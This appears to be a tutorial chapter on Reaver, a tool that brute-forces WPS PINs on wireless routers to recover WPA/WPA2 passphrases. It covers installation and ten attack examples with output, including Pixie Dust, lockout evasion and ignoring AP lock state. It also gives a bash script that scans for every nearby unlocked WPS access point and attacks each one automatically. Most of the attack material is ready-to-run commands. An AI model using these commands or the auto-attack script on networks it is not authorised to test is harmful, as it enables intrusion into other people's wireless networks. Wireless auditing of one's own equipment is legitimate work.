reaver: A tool for breaking WPS PINs and cracking WPA2 networks

Reaver is a tool that performs a brute-force attack against the WPS (Wi-Fi Protected Setup) PIN authentication mechanism found on many consumer and small-business wireless routers. WPS was designed to make it easy for non-technical users to connect devices to a Wi-Fi network using an 8-digit PIN instead of typing the full WPA/WPA2 passphrase.

The critical design flaw exploited by Reaver is that the WPS PIN authentication process validates the PIN in two halves (the first 4 digits, then the last 3 digits plus a checksum digit), rather than validating all 8 digits at once. This reduces the effective keyspace from 10^8 (100,000,000) possible PINs down to roughly 11,000 possible combinations, making it feasible to brute-force the PIN — and from it, recover the full WPA/WPA2 passphrase — in a matter of hours (or minutes with certain optimizations/vulnerabilities like “pixie dust” attacks).

Reaver was originally developed by Tactical Network Solutions and released as open source; the most current maintained version is Reaver 1.6.6 (reaver-wps-fork-t6x), which ships with Kali Linux.

How to Install

Reaver is pre-installed on Kali Linux. Verify with:

reaver --help | head -5

Expected output:

$ reaver -h

Reaver v1.6.6 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

Required Arguments:
        -i, --interface=<wlan>         Name of the monitor-mode interface to use
        -b, --bssid=<mac>               BSSID of the target AP

If missing, install via apt:

sudo apt update
sudo apt install reaver -y

Building from source (for the actively maintained fork with pixie-dust support):

sudo apt install build-essential libpcap-dev sqlite3 libsqlite3-dev -y
git clone https://github.com/t6x/reaver-wps-fork-t6x.git
cd reaver-wps-fork-t6x/src
./configure
make
sudo make install

Syntax

reaver -i <monitor interface> -b <BSSID> [options]

A companion tool, wash, is used first to identify which nearby access points have WPS enabled:

wash -i <monitor interface> [options]

All Command-Line Options

reaver

wash

Basic Usage (Expected Output in Bash)

Step 1 — Ensure the interface is in monitor mode (see Aircrack-ng section), then scan for WPS-enabled targets:

$ sudo wash -i wlan0mon

Wash v1.6.6 WiFi Protected Setup Scan Tool

BSSID              Ch  dBm  WPS  Lck  Vendor    ESSID
-----------------------------------------------------
AA:BB:CC:DD:EE:01   6  -42  1.0  No   Broadcom  HomeLab_5G
AA:BB:CC:DD:EE:04   1  -55  2.0  No   Ralink    OldRouter_24

Step 2 — Launch the WPS PIN attack:

$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01 -vv

Reaver v1.6.6 WiFi Protected Setup Attack Tool
[+] Waiting for beacon from AA:BB:CC:DD:EE:01
[+] Switching wlan0mon to channel 6
[+] Associated with AA:BB:CC:DD:EE:01 (ESSID: HomeLab_5G)
[+] Trying pin "12345670"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message

Practical Examples with Output

Example 1: Basic brute-force attack with default settings

$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01

[+] Waiting for beacon from AA:BB:CC:DD:EE:01
[+] Associated with AA:BB:CC:DD:EE:01 (ESSID: HomeLab_5G)
[+] Trying pin "12345670"
[+] Trying pin "12345671"
...
[+] 12.50% complete @ 0:04:12 (average)

Example 2: Pixie Dust attack (much faster, exploits weak PRNG)

$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01 -K 1 -vv

[+] Associated with AA:BB:CC:DD:EE:01 (ESSID: HomeLab_5G)
[+] Pixie-Dust attack in progress...
[P] PKE: 3A2C19...
[P] PKR: 88D0FE...
[P] E-Hash1: 91AB77...
[P] E-Hash2: 22FF10...
[+] WPS pin: 45671230
[+] Running pixiewps with the information...
[+] Pixiewps: WPS pin cracked in 3 seconds!

Example 3: Locking channel to reduce hopping delay

$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01 -c 6 -f -vv

[+] Switching wlan0mon to channel 6 (fixed)
[+] Associated with AA:BB:CC:DD:EE:01 (ESSID: HomeLab_5G)
[+] Trying pin "00005678"

Example 4: Using a custom delay to avoid lockouts

$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01 -d 3 -l 90 -vv

[+] Trying pin "23456780"
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Waiting 90 seconds before continuing (AP locked WPS)

Example 5: Resuming a session after interruption

$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01

[+] Restored previous session
[+] Resuming at pin 23450000, 34.2% complete

Example 6: Auto mode for optimized parameters

$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01 -A -vv

[+] Detected AP rate limiting; adjusting delay to 5s
[+] Auto-detected optimal settings for Broadcom vendor
[+] Trying pin "67891230"

Example 7: Successful WPS crack and PSK recovery

$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01

[+] Trying pin "63025678"
[+] WPS PIN: '63025678'
[+] WPA PSK: 'mylabpassword123'
[+] AP SSID: 'HomeLab_5G'
[+] Nothing done, nothing to save.

Example 8: Targeting a specific known PIN (verification)

$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01 -p 12345670 -vv

[+] Trying pin "12345670"
[+] WPS PIN: '12345670'
[+] WPA PSK: 'mylabpassword123'

Example 9: Scanning a saved capture file with wash

$ wash -f capture-01.cap

BSSID              Ch  dBm  WPS  Lck  Vendor    ESSID
-----------------------------------------------------
AA:BB:CC:DD:EE:01   6  -42  1.0  No   Broadcom  HomeLab_5G

Example 10: Handling a locked AP by ignoring lock state

$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:04 -L -vv

[!] WPS pin locked, ignoring per -L flag
[+] Trying pin "00010002"

Common Use Cases

• Auditing consumer/SOHO routers for WPS vulnerability, since many ship with WPS enabled by default.
• Chained attack with Pixie Dust to recover the WPA/WPA2 passphrase in seconds/minutes on vulnerable chipsets (older Ralink, Broadcom, Realtek implementations with weak PRNGs).
• Assessing lockout policies — testing whether a target AP properly implements WPS lockout after repeated failed attempts (a defensive control).
• Recovering lost passphrases on your own equipment when WPS is enabled but the PSK is forgotten.
• Pre-engagement reconnaissance with wash to fingerprint which access points in an environment have WPS enabled before deciding on an attack plan.

Automation with Bash

#!/bin/bash
# reaver_auto.sh - Scan for WPS targets and attack each automatically
# Usage: sudo ./reaver_auto.sh <interface>

IFACE=$1
LOGDIR="./reaver_logs_$(date +%Y%m%d_%H%M%S)"

if [[ -z "$IFACE" ]]; then
    echo "Usage: sudo $0 <interface>"
    exit 1
fi

mkdir -p "$LOGDIR"

echo "[*] Scanning for WPS-enabled access points (30s)..."
timeout 30 wash -i "$IFACE" -o "$LOGDIR/wash_results.txt"

echo "[*] Discovered targets:"
cat "$LOGDIR/wash_results.txt"

# Extract BSSIDs of unlocked WPS targets
BSSIDS=$(awk '$5=="No" {print $1}' "$LOGDIR/wash_results.txt" | grep -E '([0-9A-F]{2}:){5}[0-9A-F]{2}')

for BSSID in $BSSIDS; do
    echo "[*] Attacking $BSSID with Pixie Dust first..."
    timeout 60 reaver -i "$IFACE" -b "$BSSID" -K 1 -vv | tee "$LOGDIR/${BSSID//:/-}_pixie.log"

    if grep -q "WPA PSK" "$LOGDIR/${BSSID//:/-}_pixie.log"; then
        echo "[+] Cracked $BSSID via Pixie Dust!"
        continue
    fi

    echo "[*] Pixie Dust failed, falling back to brute-force for $BSSID..."
    timeout 3600 reaver -i "$IFACE" -b "$BSSID" -d 2 -l 60 -vv | tee "$LOGDIR/${BSSID//:/-}_brute.log"
done

echo "[*] All attacks complete. Logs saved in $LOGDIR/"

Tips and Best Practices

• Always run wash first — never blindly attack a target that doesn’t have WPS enabled.
• Try -K 1 (Pixie Dust) before a full brute-force run; it’s non-intrusive to the AP and, if successful, takes seconds rather than hours.
• Use -d (delay) and -l (lock-delay) conservatively against APs with lockout protection to avoid triggering extended lockouts.
• Lock the channel with -c and -f once identified, to avoid wasted time on channel hopping.
• Save session state — Reaver automatically checkpoints progress in /etc/reaver/ or /var/lib/reaver/, allowing you to resume interrupted attacks.
• Combine with Bully (see 11.4) as a fallback — different WPS implementations respond better to one tool or the other.
• Recognize that many modern routers (post-2015) have fixed the underlying vulnerability or enforce strict lockouts, making Reaver far less effective against updated firmware.

Troubleshooting

References

• Reaver-WPS-Fork-T6x GitHub repository: https://github.com/t6x/reaver-wps-fork-t6x
• Kali Linux Tools listing: https://www.kali.org/tools/reaver/
• Pixiewps project (companion to Pixie Dust attack): https://github.com/wiire-a/pixiewps